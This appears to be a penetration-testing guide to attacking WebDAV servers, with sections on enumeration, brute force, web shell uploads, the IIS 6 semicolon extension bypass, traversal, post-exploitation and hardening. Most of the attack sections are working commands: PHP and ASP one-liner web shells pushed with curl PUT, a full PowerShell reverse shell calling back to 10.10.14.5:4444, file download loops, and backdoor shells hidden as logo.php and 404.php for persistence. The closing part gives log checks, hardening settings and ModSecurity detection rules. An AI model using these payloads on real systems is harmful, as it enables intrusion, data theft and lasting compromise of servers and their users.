
WebDAV Service Attacks and Exploitation
Attacking WebDAV on a penetration test, covering HTTP method abuse, file upload to web shell, the IIS 6 semicolon extension bypass and credential attacks.
Introduction
Web Distributed Authoring and Versioning (WebDAV) extends HTTP so clients can create, edit, move and delete files on a web server. It was first specified in RFC 2518 and is now defined by RFC 4918.
From an attacker's point of view, WebDAV is a file write primitive on a web server. The usual problems:
- Write access granted to directories the web server also executes code from.
- HTTP Basic authentication, often over plain HTTP.
- Default or weak credentials, especially on appliances and NAS devices.
- On old IIS, an extension check that the
;parsing quirk gets around.
Why WebDAV is worth testing
If you can PUT a script into a directory the server executes, you have code execution on the web server, usually within minutes. Even read-only access can expose configuration files, source code and stored credentials, and the web server then becomes a foothold for moving further in.
You will find WebDAV on SharePoint, ownCloud and Nextcloud, Apache with mod_dav, IIS with the WebDAV Publishing feature, and many NAS devices.
Technical background
WebDAV HTTP methods
WebDAV adds COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK and UNLOCK, and relies on the standard PUT, DELETE and OPTIONS:
| Method | Purpose | Risk Level |
|---|---|---|
PUT | Upload/create files | High |
DELETE | Remove files | High |
COPY | Duplicate files | Medium |
MOVE | Rename/relocate files | Medium |
MKCOL | Create collections (directories) | Medium |
PROPFIND | Retrieve properties | Low |
PROPPATCH | Modify properties | Low |
LOCK | Lock resource | Low |
UNLOCK | Release a lock | Low |
OPTIONS | List supported methods | Info |
WebDAV properties
Properties are requested and set with XML bodies. A PROPFIND request looks like this:
<?xml version="1.0"?>
<D:propfind xmlns:D="DAV:">
<D:prop>
<D:displayname/>
<D:getcontentlength/>
<D:getcontenttype/>
<D:creationdate/>
<D:getlastmodified/>
</D:prop>
</D:propfind>Authentication
WebDAV servers usually sit behind one of these:
- HTTP Basic, which is just Base64-encoded credentials
- Digest, which sends an MD5-based response instead of the password
- NTLM, on Windows and IIS
- Kerberos, on domain-joined servers
Common WebDAV implementations
| Software | Platform | Default Port | Notes |
|---|---|---|---|
| IIS WebDAV | Windows | 80/443 | IIS 5/6 vulnerable to extension bypass |
| Apache mod_dav | Linux | 80/443 | Requires authentication configuration |
| nginx ngx_http_dav | Linux | 80/443 | Minimal WebDAV support |
| SharePoint | Windows | 80/443 | Enterprise collaboration |
| ownCloud | Linux/Windows | 80/443 | File sharing platform |
| SabreDAV | PHP | 80/443 | PHP WebDAV framework |
Enumeration
Detecting WebDAV
HTTP OPTIONS method
# Check for WebDAV methods
curl -i -X OPTIONS http://10.10.11.45/
# Nmap WebDAV detection
nmap -p 80,443 --script http-webdav-scan 10.10.11.45
nmap -p 80,443 --script http-methods 10.10.11.45
# Check specific directory
curl -i -X OPTIONS http://10.10.11.45/webdav/A WebDAV-enabled response lists the extra methods in Allow and includes a DAV header:
HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
DAV: 1, 2
MS-Author-Via: DAVPROPFIND method
# Enumerate WebDAV directories
curl -i -X PROPFIND http://10.10.11.45/webdav/
# Using davtest
davtest -url http://10.10.11.45/webdav/
# Using Nmap
nmap -p 80 --script http-webdav-scan --script-args http-webdav-scan.root=/webdav/ 10.10.11.45Common WebDAV paths
# Test common WebDAV directories
for dir in webdav dav files documents shares upload uploads; do
curl -i -X OPTIONS http://10.10.11.45/$dir/
done
# Common paths on IIS
curl -i -X OPTIONS http://10.10.11.45/_vti_bin/
curl -i -X OPTIONS http://10.10.11.45/_private/
# SharePoint paths
curl -i -X OPTIONS http://10.10.11.45/_layouts/
curl -i -X OPTIONS http://10.10.11.45/_vti_inf.htmlExploitation techniques
Authentication attacks
Test anonymous access
# Test unauthenticated access
curl -i -X PUT http://10.10.11.45/webdav/test.txt -d "test content"
curl -i -X OPTIONS http://10.10.11.45/webdav/
# Using cadaver
cadaver http://10.10.11.45/webdav/
# Press Enter for blank username/passwordBrute-force authentication
# Using Hydra
hydra -L users.txt -P passwords.txt 10.10.11.45 http-get /webdav/
# Using Medusa
medusa -h 10.10.11.45 -U users.txt -P passwords.txt -M http -m DIR:/webdav/
# Using Nmap
nmap -p 80 --script http-brute --script-args http-brute.path=/webdav/ 10.10.11.45
# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/http/http_login
msf6 auxiliary(scanner/http/http_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/http/http_login) > set AUTH_URI /webdav/
msf6 auxiliary(scanner/http/http_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/http/http_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/http/http_login) > runDefault credentials to try:
admin:adminroot:roottest:testwebdav:webdavuser:password
File upload attacks
Test upload permissions
# Using davtest (automated testing)
davtest -url http://10.10.11.45/webdav/ -auth user:password
# Manual PUT test
curl -i -X PUT http://10.10.11.45/webdav/test.txt -d "test content" -u user:password
# Upload HTML file
curl -i -X PUT http://10.10.11.45/webdav/test.html -d "<html><body>Test</body></html>" -u user:password
# Verify upload
curl http://10.10.11.45/webdav/test.htmlUpload a web shell
Pick the shell language the server runs. PHP:
# Simple PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -i -X PUT http://10.10.11.45/webdav/shell.php --data-binary @shell.php -u user:password
# Access shell
curl "http://10.10.11.45/webdav/shell.php?cmd=whoami"
# Full-featured PHP shell
curl -i -X PUT http://10.10.11.45/webdav/shell.php --data-binary @/usr/share/webshells/php/php-reverse-shell.php -u user:passwordASP and ASPX:
# ASP shell
echo '<% response.write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>' > shell.asp
curl -i -X PUT http://10.10.11.45/webdav/shell.asp --data-binary @shell.asp -u user:password
# ASPX shell
curl -i -X PUT http://10.10.11.45/webdav/shell.aspx --data-binary @/usr/share/webshells/aspx/cmdasp.aspx -u user:password
# Access ASP shell
curl "http://10.10.11.45/webdav/shell.asp?cmd=whoami"JSP:
# JSP shell
curl -i -X PUT http://10.10.11.45/webdav/shell.jsp --data-binary @/usr/share/webshells/jsp/cmdjsp.jsp -u user:passwordUsing cadaver
# Connect to WebDAV
cadaver http://10.10.11.45/webdav/
# Authentication
Username: user
Password: password
# Commands
dav:/webdav/> ls
dav:/webdav/> put shell.php
dav:/webdav/> get sensitive.txt
dav:/webdav/> mkcol uploads
dav:/webdav/> delete old_file.txt
dav:/webdav/> exitIIS WebDAV vulnerabilities
IIS 5.x/6.0 extension bypass
IIS 5 and 6 decide how to handle a file from the text before the first ;, so shell.asp;.txt runs as ASP. If uploads of .asp are blocked, upload a .txt file and then MOVE or COPY it to a name like shell.asp;.txt:
# Upload .txt file
# Classic ASP payload (the same one-liner as shell.asp above). The file runs under the .asp handler, so ASPX/C# would not execute
echo '<% response.write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>' > shell.txt
curl -i -X PUT http://10.10.11.45/webdav/shell.txt --data-binary @shell.txt -u user:password
# Move/Copy with .asp extension + ;.txt bypass
curl -i -X MOVE http://10.10.11.45/webdav/shell.txt \
-H "Destination: http://10.10.11.45/webdav/shell.asp;.txt" \
-u user:password
# Alternative using COPY
curl -i -X COPY http://10.10.11.45/webdav/shell.txt \
-H "Destination: http://10.10.11.45/webdav/shell.asp;.txt" \
-u user:password
# Access the shell (IIS executes it as .asp)
curl "http://10.10.11.45/webdav/shell.asp;.txt?cmd=whoami"Other suffixes behave the same way:
# These also work
shell.asp;.html
shell.asp;.jpg
shell.asp;.pngUsing cadaver for the IIS bypass
cadaver http://10.10.11.45/
Username: user
Password: password
# Upload .txt file
dav:/> put shell.txt
Uploading shell.txt to `/shell.txt':
Progress: [=============================>] 100.0% of 102 bytes succeeded.
# Move with bypass extension
dav:/> move shell.txt shell.asp;.txt
Moving `/shell.txt' to `/shell.asp;.txt': succeeded.
# Verify
dav:/> ls
shell.asp;.txt
# Access via browser or curl
# http://10.10.11.45/shell.asp;.txt?cmd=whoamiMetasploit
# Using Metasploit
msfconsole
msf6 > use exploit/windows/iis/iis_webdav_upload_asp
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOSTS 10.10.11.45
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set HttpUsername user
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set HttpPassword password
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set PATH /webdav/
msf6 exploit(windows/iis/iis_webdav_upload_asp) > exploitFurther techniques
Directory traversal
Some servers do not normalise the path before checking where a PUT lands. Try plain and encoded ../ sequences:
# Attempt to write outside WebDAV directory
curl -i -X PUT "http://10.10.11.45/webdav/../shell.php" --data-binary @shell.php -u user:password
# Try various traversal techniques
curl -i -X PUT "http://10.10.11.45/webdav/..%2fshell.php" --data-binary @shell.php -u user:password
curl -i -X PUT "http://10.10.11.45/webdav/..%252fshell.php" --data-binary @shell.php -u user:passwordOverwrite existing files
Write access usually includes overwriting what is already there. Replacing an index page or web.config changes the site for every visitor, so only do this with explicit approval:
# Overwrite index page
curl -i -X PUT http://10.10.11.45/webdav/index.html \
--data-binary @malicious.html \
-u user:password
# Overwrite configuration files (if permissions allow)
curl -i -X PUT http://10.10.11.45/webdav/../web.config \
--data-binary @web.config \
-u user:passwordLock manipulation
A LOCK with an infinite timeout can stop legitimate users from editing a file. Treat it as a denial-of-service test and agree it with the client first.
# Lock a file
curl -i -X LOCK http://10.10.11.45/webdav/file.txt \
-H "Timeout: Infinite" \
-u user:password
# Unlock a file (DoS potential)
curl -i -X UNLOCK http://10.10.11.45/webdav/file.txt \
-H "Lock-Token: <opaquelocktoken:xxx>" \
-u user:passwordPost-exploitation
Web shell access
# Simple command execution
curl "http://10.10.11.45/webdav/shell.php?cmd=whoami"
curl "http://10.10.11.45/webdav/shell.php?cmd=ipconfig"
# Multi-line output
curl "http://10.10.11.45/webdav/shell.php?cmd=dir+C:\\"
# Download sensitive files
curl "http://10.10.11.45/webdav/shell.php?cmd=type+C:\\inetpub\\wwwroot\\web.config"
# Reverse shell
# Start listener
nc -lvnp 4444
# Trigger reverse shell
curl "http://10.10.11.45/webdav/shell.php?cmd=powershell+-c+\$client=New-Object+System.Net.Sockets.TCPClient('10.10.14.5',4444);\$stream=\$client.GetStream();[byte[]]\$bytes=0..65535|%%{0};while((\$i=\$stream.Read(\$bytes,0,\$bytes.Length))+-ne+0){;\$data=(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i);\$sendback=(iex+\$data+2>&1+|+Out-String+);\$sendback2=\$sendback+'PS+'+(pwd).Path+'>';+\$sendbyte=([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"Data exfiltration
# Using cadaver to download files
cadaver http://10.10.11.45/webdav/ -u user -p password
dav:/webdav/> ls
dav:/webdav/> get database_backup.sql
dav:/webdav/> mget *.config
# Recursive download
wget -r --user=user --password=password http://10.10.11.45/webdav/
# Using curl for batch download
for file in $(curl -s -u user:password http://10.10.11.45/webdav/ | grep -oP '(?<=href=")[^"]+'); do
curl -u user:password -O "http://10.10.11.45/webdav/$file"
donePersistence
# Upload persistent web shell with obfuscation
curl -i -X PUT http://10.10.11.45/webdav/error.php \
--data-binary @persistent_shell.php \
-u user:password
# Upload to less obvious location
curl -i -X PUT http://10.10.11.45/webdav/images/logo.php \
--data-binary @shell.php \
-u user:password
# Backdoor in common file
curl -i -X PUT http://10.10.11.45/webdav/404.php \
--data-binary @shell.php \
-u user:passwordDetection and defense
Monitoring WebDAV activity
Apache logs:
# Monitor for WebDAV methods
tail -f /var/log/apache2/access.log | grep -E "PUT|DELETE|COPY|MOVE|MKCOL"
# Detect file uploads
grep "PUT" /var/log/apache2/access.log | grep -E "\.php|\.asp|\.jsp"
# Failed authentication attempts
grep "401" /var/log/apache2/access.log | grep "webdav"IIS logs:
# PowerShell log analysis
Get-Content C:\inetpub\logs\LogFiles\W3SVC1\*.log | Select-String "PUT|DELETE|MOVE|COPY"
# Detect shell uploads
Get-Content C:\inetpub\logs\LogFiles\W3SVC1\*.log | Select-String "shell|cmd|exec"Hardening WebDAV
Disable WebDAV if you do not need it
Apache:
# Disable mod_dav
sudo a2dismod dav
sudo a2dismod dav_fs
sudo systemctl restart apache2IIS:
# Disable WebDAV feature
Remove-WindowsFeature Web-DAV-Publishing
# Or via IIS Manager
# Server Manager → Remove Roles and Features → Web Server (IIS) → WebDAV PublishingRestrict WebDAV methods
Apache (/etc/apache2/sites-available/webdav.conf):
<Directory /var/www/webdav>
# Allow only safe methods
<LimitExcept GET POST OPTIONS PROPFIND>
Require all denied
</LimitExcept>
# Block dangerous methods
<Limit PUT DELETE COPY MOVE MKCOL PROPPATCH LOCK UNLOCK>
Require all denied
</Limit>
</Directory>IIS (web.config):
<system.webServer>
<security>
<requestFiltering>
<verbs>
<remove verb="PUT" />
<remove verb="DELETE" />
<remove verb="COPY" />
<remove verb="MOVE" />
</verbs>
</requestFiltering>
</security>
</system.webServer>Use stronger authentication
Digest at least keeps the password off the wire. Better still, serve WebDAV only over HTTPS. Apache:
<Directory /var/www/webdav>
AuthType Digest
AuthName "WebDAV"
AuthDigestProvider file
AuthUserFile /etc/apache2/webdav.digest
Require valid-user
</Directory>Create the digest password file:
sudo htdigest -c /etc/apache2/webdav.digest "WebDAV" usernameBlock script extensions
Stop the WebDAV directory from storing or serving executable files. Apache:
<Directory /var/www/webdav>
# Block executable uploads
<FilesMatch "\.(php|php3|php4|php5|phtml|asp|aspx|jsp|exe|bat|sh)$">
Require all denied
</FilesMatch>
</Directory>IIS:
<system.webServer>
<security>
<requestFiltering>
<fileExtensions>
<add fileExtension=".asp" allowed="false" />
<add fileExtension=".aspx" allowed="false" />
<add fileExtension=".php" allowed="false" />
<add fileExtension=".exe" allowed="false" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>Network access control
# Firewall rules - restrict WebDAV to internal network
sudo ufw allow from 10.10.10.0/24 to any port 80
sudo ufw deny from any to any port 80
# Apache IP restrictions
<Directory /var/www/webdav>
Require ip 10.10.10.0/24
Require ip 192.168.1.0/24
</Directory>Intrusion detection
# ModSecurity rule for WebDAV methods
SecRule REQUEST_METHOD "@rx ^(PUT|DELETE|COPY|MOVE|MKCOL|PROPFIND|PROPPATCH|LOCK|UNLOCK)$" \
"id:1000,phase:1,deny,status:403,msg:'WebDAV method blocked'"
# Block common web shell patterns
SecRule REQUEST_FILENAME "@rx \.(php|asp|aspx|jsp)[^/]*$" \
"id:1001,phase:1,deny,status:403,msg:'Suspicious file upload blocked'"
# Detect shell.* uploads
SecRule REQUEST_FILENAME "@rx shell\." \
"id:1002,phase:1,deny,status:403,msg:'Shell upload detected'"References
MITRE ATT&CK techniques
- T1071.001 - Application Layer Protocol: Web Protocols - WebDAV for command and control
- T1505.003 - Server Software Component: Web Shell - Web shell deployment via WebDAV
- T1190 - Exploit Public-Facing Application - WebDAV service exploitation
- T1078 - Valid Accounts - Using compromised WebDAV credentials
- T1105 - Ingress Tool Transfer - Uploading tools via WebDAV
RFCs and standards
- RFC 4918 - HTTP Extensions for WebDAV - WebDAV protocol specification
Security resources
- Apache mod_dav Documentation - Apache WebDAV configuration
- IIS WebDAV Configuration - Microsoft IIS WebDAV setup
- OWASP - Unrestricted File Upload - File upload security risks
Tools documentation
- davtest - WebDAV vulnerability scanner
- cadaver - Command-line WebDAV client
- Metasploit IIS WebDAV Upload Module - IIS WebDAV exploitation
SSH Service Attacks and Exploitation
Attacking SSH on a penetration test, covering password brute force, stolen and weak keys, tunnelling and port forwarding, known vulnerabilities and key-based persistence.
Tools
Notes on the tools I use on penetration tests and red team engagements, grouped by phase: scanning, Active Directory, password cracking, C2 and pivoting.